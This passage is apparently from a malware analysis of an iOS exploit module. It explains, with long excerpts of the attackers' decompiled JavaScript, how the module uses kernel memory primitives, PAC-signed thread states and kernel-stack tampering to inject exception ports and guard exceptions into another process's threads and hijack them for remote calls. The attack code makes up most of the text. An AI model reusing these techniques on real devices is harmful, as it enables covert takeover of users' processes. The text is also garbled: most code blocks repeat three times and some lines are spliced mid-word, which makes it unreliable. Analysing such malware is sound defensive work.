Finally, it retrieves the thread->thread_ro kernel address.
let dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(dummyThreadMach);
let dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(dummyThreadAddr
let dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(dummyThreadMach);
let dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(dummyThreadAddr
let dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(dummyThreadMach);
let dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(dummyThreadAddr
Retrieve self thread ctid
The module also retrieves its self thread ctid. This is done by calling mach_thread_self, then retrieving the kernel address of the thread, and then by retrieving the kernel value from thread->ctid.
let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_thread_self"));
let selfThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf);
let selfThreadCtid = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getCtid(selfThreadAddr);
let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_thread_self"));
let selfThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf);
let selfThreadCtid = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getCtid(selfThreadAddr);
let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_thread_self"));
let selfThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf);
let selfThreadCtid = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getCtid(selfThreadAddr);
osfmk/kern/thread.h
struct thread {
...
uint32_t ctid;
struct thread {
...
uint32_t ctid;
struct thread {
...
uint32_t ctid;
Iterating over threads of target task, inject exception port and EXC_GUARD exception
At this moment, the module will enter in its most important part. The exception port and EXC_GUARD injection.
To achieve this, it iterates over the target task's threads, then it tries to inject the exception port and if it works, it tries to inject the EXC_GUARD exception into the target thread. The EXC_GUARD will be later caught and thus the instrumentation could start.
We are not sure why this is done in a loop. But by looking at the variable name we can suppose that there are several attempts for stability purposes.
let firstThread = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr);
let currThread = firstThread;
this.#trojanThreadAddr = firstThread;
while ( true && successThreadCount < 2 && validThreadCount < 5 && retryCount < 3)
{
...
if (!this.#setExceptionPortOnThread(tthread to execute. On PAC enabled systems, it is required to use a PAC bypass to sign the function address pointer (PC) and the fake LR with a valid key for the target process.
Finally, it is possible to set the thread state to make the target thread call the target function.
his.#firstExceptionPort, currThread, migFilterBypass))
...
else
{
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].injectGuardException(currThread, guardCode))
...
else
{
successThreadCount++;
this.#threadList.push(currThread);
...
}
}
validThreadCount++;
}
...
let next = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].next(currThread);
...
currThread = next;
}let firstThread = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr);
let currThread = firstThread;
this.#trojanThreadAddr = firstThread;
while ( true && successThreadCount < 2 && validThreadCount < 5 && retryCount < 3)
{
...
if (!this.#setExceptionPortOnThread(tthread to execute. On PAC enabled systems, it is required to use a PAC bypass to sign the function address pointer (PC) and the fake LR with a valid key for the target process.
Finally, it is possible to set the thread state to make the target thread call the target function.
his.#firstExceptionPort, currThread, migFilterBypass))
...
else
{
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].injectGuardException(currThread, guardCode))
...
else
{
successThreadCount++;
this.#threadList.push(currThread);
...
}
}
validThreadCount++;
}
...
let next = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].next(currThread);
...
currThread = next;
}let firstThread = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr);
let currThread = firstThread;
this.#trojanThreadAddr = firstThread;
while ( true && successThreadCount < 2 && validThreadCount < 5 && retryCount < 3)
{
...
if (!this.#setExceptionPortOnThread(tthread to execute. On PAC enabled systems, it is required to use a PAC bypass to sign the function address pointer (PC) and the fake LR with a valid key for the target process.
Finally, it is possible to set the thread state to make the target thread call the target function.
his.#firstExceptionPort, currThread, migFilterBypass))
...
else
{
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].injectGuardException(currThread, guardCode))
...
else
{
successThreadCount++;
this.#threadList.push(currThread);
...
}
}
validThreadCount++;
}
...
let next = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].next(currThread);
...
currThread = next;
}Injecting exception port
As explained in the first part, the module injects the exception port by manipulating the thread mutex and the kernel call stack.
To make the kernel execute thread_set_exception_ports_internal, the module first resolves two function addresses : thread_set_exception_ports and pthread_exit_addr.
let thread_set_exception_ports_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("thread_set_exception_ports");
let pthread_exit_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("pthread_exit");let thread_set_exception_ports_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("thread_set_exception_ports");
let pthread_exit_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("pthread_exit");let thread_set_exception_ports_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("thread_set_exception_ports");
let pthread_exit_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("pthread_exit");
Then, it creates a new thread using pthread_create_suspended_np and retrieves its mach port using pthread_mach_thread_np.
js
let pthreadPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np", pthreadPtr, 0, thread_set_exception_ports_addr, 0);
let pthread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(pthreadPtr);
let machThread = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np", pthread));
let machThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(machThread);js
let pthreadPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np", pthreadPtr, 0, thread_set_exception_ports_addr, 0);
let pthread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(pthreadPtr);
let machThread = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np", pthread));
let machThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(machThread);js
let pthreadPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np", pthreadPtr, 0, thread_set_exception_ports_addr, 0);
let pthread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(pthreadPtr);
let machThread = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np", pthread));
let machThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(machThread);
It also get the corresponding thread kernel address.
Before running the thread, the state of the dummy thread is retrieved. It will be modified later.
let state = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getState(machThread);
if (!state) {
console.log(TAG, "Unable to read thread state");
return false;
}let state = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getState(machThread);
if (!state) {
console.log(TAG, "Unable to read thread state");
return false;
}let state = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getState(machThread);
if (!state) {
console.log(TAG, "Unable to read thread state");
return false;
}Now, the module modifies the new thread state in order to set registers equivalent to a call to thread_set_exception_port(g_RC_dummyThreadMach, EXC_MASK_GUARD | EXC_MASK_BAD_ACCESS | EXC_MASK_BAD_INSTRUCTION | EXC_MASK_BREAKPOINT | EXC_MASK_ARITHMETIC, exception_port, EXCEPTION_STATE | MACH_EXCEPTION_CODES, ARM_THREAD_STATE64).
state.opaque_pc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(thread_set_exception_ports_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("pc"));
state.opaque_lr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(pthread_exit_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("lr"));
state.registers.set(0, this.#dummyThreadMach);
state.registers.set(1, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_GUARD | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_BAD_ACCESS);
state.registers.set(2, exceptionPort);
state.registers.set(3, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES);
state.registers.set(4, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64);
...state.opaque_pc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(thread_set_exception_ports_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("pc"));
state.opaque_lr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(pthread_exit_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("lr"));
state.registers.set(0, this.#dummyThreadMach);
state.registers.set(1, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_GUARD | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_BAD_ACCESS);
state.registers.set(2, exceptionPort);
state.registers.set(3, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES);
state.registers.set(4, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64);
...state.opaque_pc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(thread_set_exception_ports_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("pc"));
state.opaque_lr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(pthread_exit_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("lr"));
state.registers.set(0, this.#dummyThreadMach);
state.registers.set(1, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_GUARD | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_BAD_ACCESS);
state.registers.set(2, exceptionPort);
state.registers.set(3, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES);
state.registers.set(4, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64);
...This call would set an exception port on the dummy thread. The exception port would handle EXC_MASK_GUARD | EXC_MASK_BAD_ACCESS | EXC_MASK_BAD_INSTRUCTION | EXC_MASK_BREAKPOINT | EXC_MASK_ARITHMETIC`, and `EXCEPTION_STATE | MACH_EXCEPTION_CODES`. `ARM_THREAD_STATE64 indicates that the exception state (containing thread state) would be transmitted as a structure containing arm64 registers.
osfmk/mach/arm/_structs.h
_STRUCT_ARM_THREAD_STATE64
{
__uint64_t __x[29];
__uint64_t __fp;
__uint64_t __lr;
__uint64_t __sp;
__uint64_t __pc;
__uint32_t __cpsr;
__uint32_t __pad;
_STRUCT_ARM_THREAD_STATE64
{
__uint64_t __x[29];
__uint64_t __fp;
__uint64_t __lr;
__uint64_t __sp;
__uint64_t __pc;
__uint32_t __cpsr;
__uint32_t __pad;
_STRUCT_ARM_THREAD_STATE64
{
__uint64_t __x[29];
__uint64_t __fp;
__uint64_t __lr;
__uint64_t __sp;
__uint64_t __pc;
__uint32_t __cpsr;
__uint32_t __pad;
After that, the thread state is set using `setState` (which is a wrapper around `thread_set_state`):
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setState(machThread, machThreadAddr, state))
return false;
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setState(machThread, machThreadAddr, state))
return false;
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setState(machThread, machThreadAddr, state))
return false;
Finally, before resuming the thread, the thread mutex is set in order to lock the thread in kernel's thread_set_exception_port_internal:
_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, this.#selfThreadCtid);
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].resume(machThread))
return false;
_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, this.#selfThreadCtid);
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].resume(machThread))
return false;
_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, this.#selfThreadCtid);
if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].resume(machThread))
return false;
Manipulating kernel thread's stack during thread_set_exception_port_internal call
The module continues the injection by manipulating the stack during thread_set_exception_port_internal.
At this moment, the kernel thread is locked because of the mutex.
kern_return_t
thread_set_exception_ports_internal(
thread_t thread,
exception_mask_t exception_mask,
ipc_port_t new_port,
exception_behavior_t new_behavior,
thread_state_flavor_t new_flavor,
boolean_t hardened)
{
...
tro = get_thread_ro(thread);
thread_mtx_lock(thread); kern_return_t
thread_set_exception_ports_internal(
thread_t thread,
exception_mask_t exception_mask,
ipc_port_t new_port,
exception_behavior_t new_behavior,
thread_state_flavor_t new_flavor,
boolean_t hardened)
{
...
tro = get_thread_ro(thread);
thread_mtx_lock(thread); kern_return_t
thread_set_exception_ports_internal(
thread_t thread,
exception_mask_t exception_mask,
ipc_port_t new_port,
exception_behavior_t new_behavior,
thread_state_flavor_t new_flavor,
boolean_t hardened)
{
...
tro = get_thread_ro(thread);
thread_mtx_lock(thread); While the thread is blocked, the module scans the stack by accessing thread->machine_thread->kstackptr. kstackptr points to the kernel saved register state, which is then used to retrieve the value of sp for the current thread.
osfmk/arm/thread.h
struct machine_thread {
...
void * XNU_PTRAUTH_SIGNED_PTR("machine_thread.kstackptr") kstackptr;
```
`osfmk/mach/arm/thread_status.h`
```C
struct arm_kernel_saved_state {
...
uint64_t sp;
...
typedef struct arm_kernel_saved_state
struct machine_thread {
...
void * XNU_PTRAUTH_SIGNED_PTR("machine_thread.kstackptr") kstackptr;
```
`osfmk/mach/arm/thread_status.h`
```C
struct arm_kernel_saved_state {
...
uint64_t sp;
...
typedef struct arm_kernel_saved_state
struct machine_thread {
...
void * XNU_PTRAUTH_SIGNED_PTR("machine_thread.kstackptr") kstackptr;
```
`osfmk/mach/arm/thread_status.h`
```C
struct arm_kernel_saved_state {
...
uint64_t sp;
...
typedef struct arm_kernel_saved_state
In the stack frame, the module searches for the address of the dummy thread's thread_ro structure. When it finds it, it replaces it by the target (remote) thread thread_ro structure.
for (let i=0; i<10; i++) {
...
kstack = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getStack(machThreadAddr);
...
let kernelSPOffset = BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE * 12);
let kernelSP = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(kstack + kernelSPOffset);
...
let dataBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].readBuff(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + 0x3000n, 0x1000);
...
view.setBigUint64(0,this.#dummyThreadTro,true);
let found = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].memmem(dataBuff,buffer);
found = BigInt(found) + 0x3000n;
let correctTro = false;
let val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + found + 0x18n, val, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE);
val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readPtr(val);
if (found && correctTro)
{
...
let tro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(currThread);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write64(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + BigInt(found), tro);
success = true;
break;
}
}for (let i=0; i<10; i++) {
...
kstack = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getStack(machThreadAddr);
...
let kernelSPOffset = BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE * 12);
let kernelSP = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(kstack + kernelSPOffset);
...
let dataBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].readBuff(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + 0x3000n, 0x1000);
...
view.setBigUint64(0,this.#dummyThreadTro,true);
let found = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].memmem(dataBuff,buffer);
found = BigInt(found) + 0x3000n;
let correctTro = false;
let val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + found + 0x18n, val, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE);
val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readPtr(val);
if (found && correctTro)
{
...
let tro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(currThread);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write64(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + BigInt(found), tro);
success = true;
break;
}
}for (let i=0; i<10; i++) {
...
kstack = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getStack(machThreadAddr);
...
let kernelSPOffset = BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE * 12);
let kernelSP = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(kstack + kernelSPOffset);
...
let dataBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].readBuff(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + 0x3000n, 0x1000);
...
view.setBigUint64(0,this.#dummyThreadTro,true);
let found = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].memmem(dataBuff,buffer);
found = BigInt(found) + 0x3000n;
let correctTro = false;
let val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + found + 0x18n, val, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE);
val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readPtr(val);
if (found && correctTro)
{
...
let tro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(currThread);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write64(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + BigInt(found), tro);
success = true;
break;
}
}This will, after the mutex is released by the code, make thread_set_exception_ports_internal add the exception port into the remote thread structure instead of the internal thread.
Inject EXC_GUARD
Once the exception port is injected, the module injects a guard exception in the target thread using inject_guard_exception.
static injectGuardException(thread,code)
{
...
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0x17n);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, code);
}
...
let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast);
ast |= AST_GUARD;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast);
return true
static injectGuardException(thread,code)
{
...
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0x17n);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, code);
}
...
let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast);
ast |= AST_GUARD;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast);
return true
static injectGuardException(thread,code)
{
...
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0x17n);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, code);
}
...
let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast);
ast |= AST_GUARD;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast);
return true
As explained in the first part, the module uses its kernel primitive to manipulate the thread->mach_exc_info values.
Waiting for exception on port 1 and saving original thread state
From here, the code wait for the EXC_GUARD exception from the hijacked thread.
if(!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort,excBuffer,120000,false))
...
if(!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort,excBuffer,120000,false))
...
if(!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort,excBuffer,120000,false))
...
waitException is a wrapper around mach_msg.
static waitException(exceptionPort, excBuffer, timeout, debug)
{
let t1 = new Date().getTime();
...
let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg",
excBuffer,
MACH_RCV_MSG | MACH_RCV_TIMEOUT,
0, this.ExceptionMessageSize,
exceptionPort,
timeout,
0);
...
return true;
}static waitException(exceptionPort, excBuffer, timeout, debug)
{
let t1 = new Date().getTime();
...
let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg",
excBuffer,
MACH_RCV_MSG | MACH_RCV_TIMEOUT,
0, this.ExceptionMessageSize,
exceptionPort,
timeout,
0);
...
return true;
}static waitException(exceptionPort, excBuffer, timeout, debug)
{
let t1 = new Date().getTime();
...
let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg",
excBuffer,
MACH_RCV_MSG | MACH_RCV_TIMEOUT,
0, this.ExceptionMessageSize,
exceptionPort,
timeout,
0);
...
return true;
}When the exception is received, the thread state is retrieved by reading the received mach message, and is saved. (The comment from the threat actors also indicates that there is still work to do... )
let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let originalStateBuff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64_SIZE);
this.#originalState = new _ThreadState__WEBPACK_IMPORTED_MODULE_7__["default"](originalStateBuff);
for(let i = 0; i < 29; i++)
{
this.#originalState.registers.set(i,exc.threadState.registers.get(i));
}
this.#originalState.opaque_fp = exc.threadState.opaque_fp;
this.#originalState.opaque_lr = exc.threadState.opaque_lr;
this.#originalState.opaque_sp = exc.threadState.opaque_sp;
this.#originalState.opaque_pc = exc.threadState.opaque_pc;
this.#originalState.cspr = exc.threadState.cspr;
this.#originalState.opaque_flags = exc.threadState.opaque_flags;let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let originalStateBuff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64_SIZE);
this.#originalState = new _ThreadState__WEBPACK_IMPORTED_MODULE_7__["default"](originalStateBuff);
for(let i = 0; i < 29; i++)
{
this.#originalState.registers.set(i,exc.threadState.registers.get(i));
}
this.#originalState.opaque_fp = exc.threadState.opaque_fp;
this.#originalState.opaque_lr = exc.threadState.opaque_lr;
this.#originalState.opaque_sp = exc.threadState.opaque_sp;
this.#originalState.opaque_pc = exc.threadState.opaque_pc;
this.#originalState.cspr = exc.threadState.cspr;
this.#originalState.opaque_flags = exc.threadState.opaque_flags;let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let originalStateBuff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64_SIZE);
this.#originalState = new _ThreadState__WEBPACK_IMPORTED_MODULE_7__["default"](originalStateBuff);
for(let i = 0; i < 29; i++)
{
this.#originalState.registers.set(i,exc.threadState.registers.get(i));
}
this.#originalState.opaque_fp = exc.threadState.opaque_fp;
this.#originalState.opaque_lr = exc.threadState.opaque_lr;
this.#originalState.opaque_sp = exc.threadState.opaque_sp;
this.#originalState.opaque_pc = exc.threadState.opaque_pc;
this.#originalState.cspr = exc.threadState.cspr;
this.#originalState.opaque_flags = exc.threadState.opaque_flags;
Now that this thread can be manipulated by modifying its thread state, the remoteCallTemp primitive is ready, and it's time for the init final step.
How the remote call is done will be explained in a few steps.
Final step : creating new thread inside target process
Using the remoteCallTemp primitive, the code creates a new thread inside the target process. This new thread is created so that the hijacked thread can be restored to its normal state.
The same process as explained before is applied here :
Remote calling pthread_create_suspended_np to create a new thread inside the remote process. Its start_routine is a fake address that will generate a crash exception. (This exception will be handled later).
Remote calling pthread_mach_thread_np to retrieve the remote thread port.
After that, the second exception port is injected into the new thread using the same technique (setExceptionPortOnThread).
let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned);
let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned);
let pthreadAddr = this.read64(BigInt(trojanMemTemp));
let callThreadPort = this.#doRemoteCallTemp(100, "pthread_mach_thread_np", pthreadAddr);
this.#callThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObjectOfTask(this.#taskAddr, BigInt(callThreadPort));
...
if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass))
...
}
...
ret = this.#doRemoteCallTemp(100, "thread_resume", callThreadPort);
let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned);
let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned);
let pthreadAddr = this.read64(BigInt(trojanMemTemp));
let callThreadPort = this.#doRemoteCallTemp(100, "pthread_mach_thread_np", pthreadAddr);
this.#callThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObjectOfTask(this.#taskAddr, BigInt(callThreadPort));
...
